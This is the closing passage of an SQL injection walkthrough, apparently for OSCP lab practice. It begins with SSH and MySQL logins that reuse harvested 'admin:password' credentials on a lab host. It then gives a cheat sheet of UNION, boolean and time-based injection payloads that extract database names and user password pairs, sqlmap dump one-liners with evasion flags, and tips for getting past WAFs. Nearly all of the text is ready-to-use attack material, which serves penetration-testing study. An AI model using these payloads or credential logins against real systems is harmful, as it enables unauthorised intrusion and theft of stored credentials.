# Use credentials for SSH
ssh admin@10.10.10.100
# Password: password

# Or use for web login
# admin:password → Admin panel access

# Or connect to database directly (if accessible)
mysql -u webapp -p'password' -h 10.10.10.100 webapp

Quick Reference Cheat Sheet

UNION-Based Payloads

-- Column count
' ORDER BY N-- -

-- Writable columns
' UNION SELECT 1,2,3-- -

-- Database info
' UNION SELECT 1, database(), version()-- -

-- All tables
' UNION SELECT 1, GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM information_schema.tables WHERE table_schema=database()-- -

-- All columns
' UNION SELECT 1, GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM information_schema.columns WHERE table_name='target'-- -

-- Extract data
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users-- -

-- Paginated extraction
' UNION SELECT 1, GROUP_CONCAT(username, 0x3a, password SEPARATOR 0x3c62723e) FROM users LIMIT 0,5-- -

Boolean-Based Payloads

-- Length check
?id=1 AND LENGTH(database())=N-- -

-- Character extraction
?id=1 AND SUBSTRING(database(),1,1)='c'-- -

-- ASCII binary search
?id=1 AND ASCII(SUBSTRING(database(),1,1)) > N-- -

-- Count rows
?id=1 AND (SELECT COUNT(*) FROM users) > N-- -

Time-Based Payloads

-- MySQL
?id=1 AND IF(condition, SLEEP(5), 0)-- -
?id=1 AND IF(condition, BENCHMARK(10000000, SHA1('test')), 0)-- -

-- MSSQL
?id=1; IF(condition) WAITFOR DELAY '0:0:5'--

-- PostgreSQL
?id=1 AND (SELECT CASE WHEN condition THEN pg_sleep(5) ELSE NULL END)--

sqlmap One-Liners

# Full enumeration and dump
sqlmap -u "URL" --batch --dbs -D dbname --tables -T tablename --columns --dump -C col1,col2

# With delay and random user-agent
sqlmap -u "URL" --batch --delay=2 --random-agent --dump

# POST data
sqlmap -u "URL" --data="param=value" --batch --dump

# Cookie-based injection
sqlmap -u "URL" --cookie="id=1" --batch --dump

Common Pitfalls and Tips

  1. Always URL-encode special characters when sending via browser:

    • ' → %27
    • -- → %2D%2D
    • (space) → %20 or +
    • # → %23
  2. GROUP_CONCAT truncation is silent — if output seems incomplete, reduce batch size

  3. Boolean extraction is slow — always use binary search, never linear guessing

  4. Time-based is unreliable under load — network latency can mask delays; use longer delays (5-10 seconds)

  5. WAFs may block SLEEP/BENCHMARK — try alternative techniques or encoding

  6. Always check for stacked queries (;) — some apps allow multiple statements

  7. Save everything — export sqlmap results, save hash files, document all findings

  8. For OSCP labs: Start with UNION → fall back to Boolean → fall back to Time-based → use sqlmap as last resort (manual exploitation shows deeper understanding)